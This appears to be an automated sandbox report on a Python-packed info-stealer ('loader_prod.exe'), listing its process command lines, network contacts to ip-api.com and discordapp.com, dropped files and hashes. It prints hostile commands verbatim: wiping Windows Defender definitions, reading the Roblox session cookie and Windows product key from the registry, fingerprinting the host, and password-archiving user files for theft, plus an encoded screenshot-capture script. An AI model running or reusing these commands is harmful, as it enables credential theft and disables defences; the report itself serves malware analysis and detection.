AAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zcix32tz\zcix32tz.cmdline"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES758E.tmp" "c:\Users\Admin\AppData\Local\Temp\zcix32tz\CSC8DCA49F85AAC401A8FC293233EB3391.TMP"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI37642\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\g7f06.zip" *"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Users\Admin\AppData\Local\Temp\_MEI37642\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI37642\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\g7f06.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

C:\Windows\Resources\Themes\icsys.icn.exe

C:\Windows\Resources\Themes\icsys.icn.exe

\??\c:\windows\resources\themes\explorer.exe

c:\windows\resources\themes\explorer.exe

\??\c:\windows\resources\spoolsv.exe

c:\windows\resources\spoolsv.exe SE

\??\c:\windows\resources\svchost.exe

c:\windows\resources\svchost.exe

\??\c:\windows\resources\spoolsv.exe

c:\windows\resources\spoolsv.exe PR

Network

Country Destination Domain Proto
US 8.8.8.8:53 gstatic.com udp
GB 172.217.16.227:443 gstatic.com tcp
US 8.8.8.8:53 0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.8.0.8.0.8.0.8.0.ip6.arpa udp
US 8.8.8.8:53 227.16.217.172.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 discordapp.com udp
US 162.159.130.233:443 discordapp.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
US 8.8.8.8:53 233.130.159.162.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 24.173.189.20.in-addr.arpa udp

Files

memory/1768-0-0x0000000000400000-0x000000000041F000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\loader_prod.exe 

MD5 9a83e4bc825d41cb18f943c617d08a97
SHA1 b0e160fb807d9b87968e14b806d7bebdd3ab805a
SHA256 1c1d5c8e5581735c6b5e3817eeb36383ef2ed86dbb7e857c043c66ba2f1110cc
SHA512 6a878774af87f752beb68ca91daccefafbaa46b200351fdab0cd8a6385a4668c559b96b5819ebbda23cdb96b5f99c91f8c631c328ccee9a86776fd1754c158c6

C:\Users\Admin\AppData\Local\Temp\_MEI37642\python311.dll

MD5 0b66c50e563d74188a1e96d6617261e8
SHA1 cfd778b3794b4938e584078cbfac0747a8916d9e
SHA256 02c665f77db6b255fc62f978aedbe2092b7ef1926836290da68fd838dbf2a9f2
SHA512 37d710cb5c0ceb5957d11b61684cfbc65951c1d40ab560f3f3cb8feca42f9d43bd981a0ff44c3cb7562779264f18116723457e79e0e23852d7638b1a954a258f

C:\Users\Admin\AppData\Local\Temp\_MEI37642\VCRUNTIME140.dll

MD5 4585a96cc4eef6aafd5e27ea09147dc6
SHA1 489cfff1b19abbec98fda26ac8958005e88dd0cb
SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
SHA512 d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286

memory/2840-39-0x00007FFFF5030000-0x00007FFFF5619000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI37642\base_library.zip

MD5 d220b7e359810266fe6885a169448fa0
SHA1 556728b326318b992b0def059eca239eb14ba198
SHA256 ca40732f885379489d75a2dec8eb68a7cce024f7302dd86d63f075e2745a1e7d
SHA512 8f802c2e717b0cb47c3eeea990ffa0214f17d00c79ce65a0c0824a4f095bde9a3d9d85efb38f8f2535e703476cb6f379195565761a0b1d738d045d7bb2c0b542

C:\Users\Admin\AppData\Local\Temp\_MEI37642\_ssl.pyd

MD5 e52dbaeba8cd6cadf00fea19df63f0c1
SHA1 c03f112ee2035d0eaab184ae5f9db89aca04273a
SHA256 eaf60a9e979c95669d8f209f751725df385944f347142e0ecdcf2f794d005ead
SHA512 10eef8fd49e2997542e809c4436ad35dcc6b8a4b9b4313ad54481daef5f01296c9c5f6dedad93fb620f267aef46b0208deffbad1903593fd26fd717a030e89e8

C:\Users\Admin\AppData\Local\Temp\_MEI37642\libcrypto-3.dll

MD5 27515b5bb912701abb4dfad186b1da1f
SHA1 3fcc7e9c909b8d46a2566fb3b1405a1c1e54d411
SHA256 fe80bd2568f8628032921fe7107bd611257ff64c679c6386ef24ba25271b348a
SHA512 087dfdede2a2e6edb3131f4fde2c4df25161bee9578247ce5ec2bce03e17834898eb8d18d1c694e4a8c5554ad41392d957e750239d3684a51a19993d3f32613c

memory/2840-62-0x00007FFFF8F90000-0x00007FFFF8F9F000-memory.dmp

memory/2840-61-0x00007FFFF8950000-0x00007FFFF8973000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\_MEI37642\_sqlite3.pyd

MD5 63618d0bc7b07aecc487a76eb3a94af8
SHA1 53d528ef2ecbe8817d10c7df53ae798d0981943a
SHA256 e74c9ca9007b6b43ff46783ecb393e6ec9ebbdf03f7c12a90c996d9331700a8b
SHA512 8280f0f6afc69a82bc34e16637003afb61fee5d8f2cab80be7d66525623ec33f1449b0cc8c96df363c661bd9dbc7918a787ecafaaa5d2b85e6cafdcf0432d394

C:\Users\Admin\AppData\Local\Temp\_MEI37642\_socket.pyd

MD5 c12bded48873b3098c7a36eb06b34870
SHA1 c32a57bc2fc8031417632500aa9b1c01c3866ade
SHA256 6c4860cb071bb6d0b899f7ca2a1da796b06ea391bac99a01f192e856725e88aa
SHA512 335510d6f2f13fb2476a5a17445ca6820c86f7a8a8650f4fd855dd098d022a16c80a8131e04212fd724957d8785ad51ccaff532f2532224ccfd6ce44f4e740f9

C:\Users\Admin\AppData\Local\Temp\_MEI37642\_queue.pyd

MD5 0da22ccb73cd146fcdf3c61ef279b921
SHA1 333547f05e351a1378dafa46f4b7c10cbebe3554
SHA256 e8ae2c5d37a68bd34054678ae092e2878f73a0f41e6787210f1e9b9bb97f37a0
SHA512 9eece79511163eb7c36a937f3f2f83703195fc752b63400552ca03d0d78078875ff41116ebaeb05c48e58e82b01254a328572096a17aaad818d32f3d2d07f436

C:\Users\Admin\AppData\Local\Temp\_MEI37642\_lzma.pyd

MD5 f8b61629e42adfe417cb39cdbdf832bb
SHA1 e7f59134b2bf387a5fd5faa6d36393cbcbd24f61
SHA256 7a3973fedd5d4f60887cf0665bcb7bd3c648ad40d3ae7a8e249d875395e5e320
SHA512 58d2882a05289b9d17949884bf50c8f4480a6e6d2b8bd48dfdbcb03d5009af64abf7e9967357aeebf95575d7ef434a40e8ad07a2c1fe275d1a87aa59dcc702d6

C:\Users\Admin\AppData\Local\Temp\_MEI37642\_hashlib.pyd

MD5 a81e0df35ded42e8909597f64865e2b3
SHA1 6b1d3a3cd48e94f752dd354791848707676ca84d
SHA256 5582f82f7656d4d92ed22f8e460bebd722e04c8f993c3a6adcc8437264981185
SHA512 2cda7348faffabc826fb7c4eddc120675730077540f042d6dc8f5e6921cf2b9cb88afcd114f53290aa20df832e3b7a767432ea292f6e5b5b5b7d0e05cf8905a6

C:\Users\Admin\AppData\Local\Temp\_MEI37642\_decimal.pyd

MD5 d0231f126902db68d7f6ca1652b222c0
SHA1 70e79674d0084c106e246474c4fb112e9c5578eb
SHA256 69876f825678b717c51b7e7e480de19499d972cb1e98bbfd307e53ee5bace351
SHA512 b6b6bfd5fde200a9f45aeb7f6f845eac916feeef2e3fca54e4652e1f19d66ae9817f1625ce0ed79d62e504377011ce23fd95a407fbdbaa6911a09e48b5ef4179

C:\Users\Admin\AppData\Local\Temp\_MEI37642\_bz2.pyd

MD5 20a7ecfe1e59721e53aebeb441a05932
SHA1 a91c81b0394d32470e9beff43b4faa4aacd42573
SHA256 7ebbe24da78b652a1b6fe77b955507b1daff6af7ff7e5c3fa5ac71190bde3da8
SHA512 99e5d877d34ebaaaeb281c86af3fff9d54333bd0617f1366e3b4822d33e23586ef9b11f4f7dd7e1e4a314c7a881f33123735294fe8af3a136cd10f80a9b8d902

C:\Users\Admin\AppData\Local\Temp\_MEI37642\unicodedata.pyd

MD5 af87b4aa3862a59d74ff91be300ee9e3
SHA1 e5bfd29f92c28afa79a02dc97a26ed47e4f199b4
SHA256 fac71c7622957fe0773214c7432364d7fc39c5e12250ff9eaaeea4d897564dc7
SHA512 1fb0b8100dffd18c433c4aa97a4f2da76ff6e62e2ef2139edc4f98603ba0bb1c27b310b187b5070cf4e892ffc2d09661a6914defa4509c99b60bcbb50f70f4a0

C:\Users\Admin\AppData\Local\Temp\_MEI37642\sqlite3.dll

MD5 c78fab9114164ac981902c44d3cd9b37
SHA1 cb34dff3cf82160731c7da5527c9f3e7e7f113b7
SHA256 4569acfa25dda192becda0d79f4254ce548a718b566792d73c43931306cc5242
SHA512 bf82ccc02248be669fe4e28d8342b726cf52c4ec2bfe2ec1f71661528e2d8df03781ae5ccf005a6022d59a90e36cea7d3c7a495bd11bf149319c891c00ac669b

C:\Users\Admin\AppData\Local\Temp\_MEI37642\select.pyd

MD5 1e9e36e61651c3ad3e91aba117edc8d1
SHA1 61ab19f15e692704139db2d7fb3ac00c461f9f8b
SHA256 5a91ba7ea3cf48033a85247fc3b1083f497bc060778dcf537ca382a337190093
SHA512 b367e00e1a8a3e7af42d997b59e180dfca7e31622558398c398f594d619b91cedc4879bfdda303d37f31dfcc3447faa88f65fd13bac109889cee8c1e3c1d62d0

C:\Users\Admin\AppData\Local\Temp\_MEI37642\rarreg.key

MD5 4531984cad7dacf24c086830068c4abe
SHA1 fa7c8c46677af01a83cf652ef30ba39b2aae14c3
SHA256 58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211
SHA512 00056f471945d838ef2ce56d51c32967879fe54fcbf93a237ed85a98e27c5c8d2a39bc815b41c15caace2071edd0239d775a31d1794dc4dba49e7ecff1555122

C:\Users\Admin\AppData\Local\Temp\_MEI37642\rar.exe

MD5 9c223575ae5b9544bc3d69ac6364f75e
SHA1 8a1cb5ee02c742e937febc57609ac312247ba386
SHA256 90341ac8dcc9ec5f9efe89945a381eb701fe15c3196f594d9d9f0f67b4fc2213
SHA512 57663e2c07b56024aaae07515ee3a56b2f5068ebb2f2dc42be95d1224376c2458da21c965aab6ae54de780cb874c2fc9de83d9089abf4536de0f50faca582d09

C:\Users\Admin\AppData\Local\Temp\_MEI37642\libssl-3.dll

MD5 6eda5a055b164e5e798429dcd94f5b88
SHA1 2c5494379d1efe6b0a101801e09f10a7cb82dbe9
SHA256 377da6175c8a3815d164561350ae1df22e024bc84c55ae5d2583b51dfd0a19a8
SHA512 74283b4051751f9e4fd0f4b92ca4b953226c155fe4730d737d7ce41a563d6f212da770e96506d1713d8327d6fef94bae4528336ebcfb07e779de0e0f0cb31f2e

C:\Users\Admin\AppData\Local\Temp\_MEI37642\blank.aes

MD5 5c53f708c512b8ae0c3af469a2b3236a
SHA1 ca68da974c65b63bca90915ea03c8814e6710842
SHA256 cd8fef9827c590177ce73970e23a1105df9b9d9f2649d176851013780ada14b6
SHA512 57dee66733b402a32323f78b670170294a7d8fe8cabd2d63e9dea16d3a114b65b41b739259f012c4a729fd833ae05bb31ccf07e11cbdea43b561e2c1c178daa4

\Users\Admin\AppData\Local\Temp\_MEI37642\libffi-8.dll

MD5 08b000c3d990bc018fcb91a1e175e06e
SHA1 bd0ce09bb3414d11c91316113c2becfff0862d0d
SHA256 135c772b42ba6353757a4d076ce03dbf792456143b42d25a62066da46144fece
SHA512 8820d297aeda5a5ebe1306e7664f7a95421751db60d71dc20da251bcdfdc73f3fd0b22546bd62e62d7aa44dfe702e4032fe78802fb16ee6c2583d65abc891cbf

\Users\Admin\AppData\Local\Temp\_MEI37642\_ctypes.pyd

MD5 5006b7ea33fce9f7800fecc4eb837a41
SHA1 f6366ba281b2f46e9e84506029a6bdf7948e60eb
SHA256 8f7a5b0abc319ba9bfd11581f002e533fcbe4ca96cedd37656b579cd3942ef81
SHA512 e3e5e8f471a8ca0d5f0091e00056bd53c27105a946ca936da3f5897b9d802167149710404386c2ed3399b237b8da24b1a24e2561c436ed2e031a8f0564fbbc7c

memory/2840-68-0x00007FFFF84F0000-0x00007FFFF851D000-memory.dmp

memory/2840-70-0x00007FFFF84D0000-0x00007FFFF84E9000-memory.dmp

memory/2840-72-0x00007FFFF84A0000-0x00007FFFF84C3000-memory.dmp

memory/2840-74-0x00007FFFF3AB0000-0x00007FFFF3C27000-memory.dmp

memory/2840-78-0x00007FFFF8470000-0x00007FFFF847D000-memory.dmp

memory/2840-77-0x00007FFFF8480000-0x00007FFFF8499000-memory.dmp

memory/2840-80-0x00007FFFF5E70000-0x00007FFFF5EA3000-memory.dmp

memory/2840-83-0x00007FFFE5EE0000-0x00007FFFE6402000-memory.dmp

memory/2840-85-0x00007FFFF36F0000-0x00007FFFF37BD000-memory.dmp

memory/2840-84-0x00007FFFF5030000-0x00007FFFF5619000-memory.dmp

memory/2840-90-0x00007FFFF5E60000-0x00007FFFF5E6D000-memory.dmp

memory/2840-92-0x00007FFFE5DC0000-0x00007FFFE5EDC000-memory.dmp

memory/2840-88-0x00007FFFF8450000-0x00007FFFF8464000-memory.dmp

memory/2840-87-0x00007FFFF8950000-0x00007FFFF8973000-memory.dmp

memory/3144-101-0x00000242A5140000-0x00000242A5162000-memory.dmp

memory/3144-105-0x00000242A5340000-0x00000242A53B6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_laqalls4.zeh.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 83f630bc2535723167e1abfe6c59287c
SHA1 8fe6134058c4acf50170fa9487ae9849a97b662a
SHA256 dfd5074fdadd96c97817011c8148be8ea28f577ec604396acd16091d77764202
SHA512 d2f5d93f204d19433f9d23e7f166d91dfde3423a854eb6e56c332effa1ba2f9ff68b95f455a9292fa4d1443220cc9ad066d6ed22ab9112ffd244fc2a4f9104a3

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 268b890dae39e430e8b127909067ed96
SHA1 35939515965c0693ef46e021254c3e73ea8c4a2b
SHA256 7643d492a6f1e035b63b2e16c9c21d974a77dfd2d8e90b9c15ee412625e88c4c
SHA512 abc4b2ce10a6566f38c00ad55e433791dd45fca47deec70178daf0763578ff019fb0ec70792d5e9ecde4eb6778a35ba8a8c7ecd07550597d9bbb13521c9b98fb

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 390cf1fc42cc8ab7d989c896ce9bd3b3
SHA1 bacbe8847d7149ec2a6172c69fd848d8839e7e60
SHA256 df7de85544a4e5cddae02af8f7b0ed58de0b7137c4efee7d6b3070d7be50899a
SHA512 a030d8ea2c0e0c98e9a7d0458c6048b3f00626d7d13faf2f3964a537e4ca22fe95eb63acd3a37c2865466df71bb2c1f5d8f3c8c73ef058280d7e1580c10f57b8

\??\c:\Users\Admin\AppData\Local\Temp\zcix32tz\zcix32tz.cmdline

MD5 c572396c27961757898b2a9d0f87fd47
SHA1 8f587b999ea7342809cf0e482f6a6fc69c6b95c0
SHA256 56263290707c2c4079968a4155c3e9a7112d7fdfcdbb7f4d6917a593b4adcfb6
SHA512 169b4c7ffe4bb9b83bc7507c5f5d04b6b8c7e0a640acdb18b5861f005f23a3e1f2755cd9fa92039496a08cf3577d62f28180325dd4442a6cc0ff1f5fd3c781e0

\??\c:\Users\Admin\AppData\Local\Temp\zcix32tz\zcix32tz.0.cs

MD5 c76055a0388b713a1eabe16130684dc3
SHA1 ee11e84cf41d8a43340f7102e17660072906c402
SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA512 22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

\??\c:\Users\Admin\AppData\Local\Temp\zcix32tz\CSC8DCA49F85AAC401A8FC293233EB3391.TMP

MD5 113918b302be19178223e0d3a393957d
SHA1 f65ca032219db566d1e59e9efdca59ca86ef1249
SHA256 a6909ba793ea08cae977480cc21816dcda019fe72b5100cfc35b95589168fdf7
SHA512 47fc38e6a7834553ded9cb600033254a1cbb7692ef470e72ebdf595342afb2b5348b9fb449164f753f89deea3137fc68cd28e6c0af65f7113a4026e572f33877

C:\Users\Admin\AppData\Local\Temp\RES758E.tmp

MD5 9d01cd1e11e611061406e959607e9b53
SHA1 5a1b3af8e4143654cf5597234f2ef38e5348425c
SHA256 2863a2a203e993db2d551d52f2b9e5fcf970dc621ee061a3aa126065dec54b72
SHA512 bbc45f75778d7f924a276713f70ec8ed843b908c0ee3c357b747f7ae70a2156c3555721a67dd0683ddb87be1b982d22303b7e231dfd38d03ebd6fa54d22f963a

C:\Users\Admin\AppData\Local\Temp\zcix32tz\zcix32tz.dll

MD5 8c8da2759672a63e61c9b582b71455d6
SHA1 de2fe0ae499ca4d1284f899d2933ab3014f99057
SHA256 377c64ee48665258d8e5630613b9dc17795afc2f69e9cbf21a6080838b1cd5ef
SHA512 807230d4ef547b7095ce7ec62012487624682b22220a3903bb73d206aeef85ea43a3fcefb37b2ce9c7240174b718489df8c0c6f3eec74201af6521e3a5309316

memory/2576-343-0x0000022552D20000-0x0000022552D28000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 6142a66be710d4be46036aca4814b49e
SHA1 d6c31eac2fd8f1d919672f249d120c7da6835648
SHA256 6e26df18042c160f79caba9bbb4e1d555e19bdaf163de35fc0837d155a4ad56c
SHA512 9754662cafd8dee6947937b535057e6411bcb73a9b27671c08b5db6e268839ec8de821c232a694225a1b5fe140a9e1d468676e5c238805fb6e6de47345276376

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 cde7b9a5dc4c1df186e93c3b61dbbdac
SHA1 7e3994f7a4bcf513da9d83c55f25100780db28e2
SHA256 253a43741b8c3c007285193c72749ea0cb29341dfdfd0f7a82b2bdc409f81edb
SHA512 5c31f3212ce6586fb1d479f948f30394bdf0c85cb5eae73a53b7770863de340cda060035b78eda6f04630aad5ce22f85cd792640b13c10aaddda98187e7688f2

memory/2840-416-0x00007FFFF84A0000-0x00007FFFF84C3000-memory.dmp

memory/2840-417-0x00007FFFF3AB0000-0x00007FFFF3C27000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\  ‎  ‌    \Common Files\Desktop\ConvertDebug.pdf

MD5 d456da880389d54e69e19dad1fc7e715
SHA1 4aa58f7abc6cebc2888d8ca4085cf466cea1843b
SHA256 38b95edd67bc3f584614c5a75a09d416be9981128e0decf94b2c611212efda70
SHA512 0b902b7773e6958f233327dc951f90189f5d2012696aafe997cc2e35eae1f3aee481d03f800df2a7f488fbe1e1b78ef4c80dc48074882338072efd928ad71adc

C:\Users\Admin\AppData\Local\Temp\  ‎  ‌    \Common Files\Desktop\InstallInitialize.mp3

MD5 48bc051e102c7610ade8c76191ebbb5e
SHA1 96f4703d73186c1225374825adb9c6eeb9e364c3
SHA256 dfcdbad8cb4f278a3a2b47a22e0f2b13c7cdccbf29a4cbc773086f81ff360e48
SHA512 48a5604ce6acfa3bcf794adf10a3022f7227cadf01427fcbbbdc6a5b2e6c662d795711cce3e53633c68807982da363c5c433bf5c368ed420d7af9485fa87e895

C:\Users\Admin\AppData\Local\Temp\  ‎  ‌    \Common Files\Desktop\InvokeGrant.mp3

MD5 603851e429ab19833c4ea86e2d643a92
SHA1 a9020fbd57af2b6be22710ac236a84e3698f5f1b
SHA256 40a55ca4b7bcbbe288dffb0ed1669982808d5aa99145f029d1af226d55f240a1
SHA512 b52be63ce669e85500c223435552563d887fdfc1aebdac647de17b1c3d00d327324ff2bca3bd7ce97d9e58cc9a8f27edaa1823044797266728433f24fadbb2b9

C:\Users\Admin\AppData\Local\Temp\  ‎  ‌    \Common Files\Desktop\WritePing.jpg

MD5 d472ccf601e21fa1acc2eb347ddcd848
SHA1 92922737e21f1a3e4d353a30a3131c7b8eb26309
SHA256 2274926dd84d465fa3fdb9f6e13af9ea4e6b1d59350750359013f6850012c136
SHA512 551c00f88c2e45423c18f45c2234cc9ccf19c41a963005cf48ab0718ea9ef17088cc1a28fcb090a2075c277defde232fbae3df6cf8fa3b4b88aef8bcb27cef61

C:\Users\Admin\AppData\Local\Temp\  ‎  ‌    \Common Files\Documents\EditHide.pdf

MD5 2048f2c8ada63ba72b1290ee15ab3aea
SHA1 a8ce508d7351694d69e3211abc0e307d7488224b
SHA256 b420090e348ca4130ccdd8910f811ab1ca00645aa85c5f5bec62d5a4f078a7f8
SHA512 a5c3e77014b630c686bdcf6d708f99d6c6825b0d8ffda96be562b2b287433eedfa12cc0499377c95a156355d7e54b397122e6fef36f372314651567670b96f6d

C:\Users\Admin\AppData\Local\Temp\  ‎  ‌    \Common Files\Documents\Are.docx

MD5 a33e5b189842c5867f46566bdbf7a095
SHA1 e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512 f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

C:\Users\Admin\AppData\Local\Temp\  ‎  ‌    \Common Files\Documents\EnterUnpublish.doc

MD5 4d48f961a6265dd35cb9beff9f0d609a
SHA1 457dcc6e6cf58216c713540f3fb7fa924bfda519
SHA256 a492b734f6f53bd013198ec3dd2d9c87f19eea24fd8eff0d851e31e5a96159a9
SHA512 22cd693becc5959ce83087f4af549aa3fd1769e9213a8afb0156e29ce6b652422ad4dbf33a617300056fd859878bdffe55edecfa5a3862eb2230ff2c0e342088

C:\Users\Admin\AppData\Local\Temp\  ‎  ‌    \Common Files\Documents\LockNew.docx

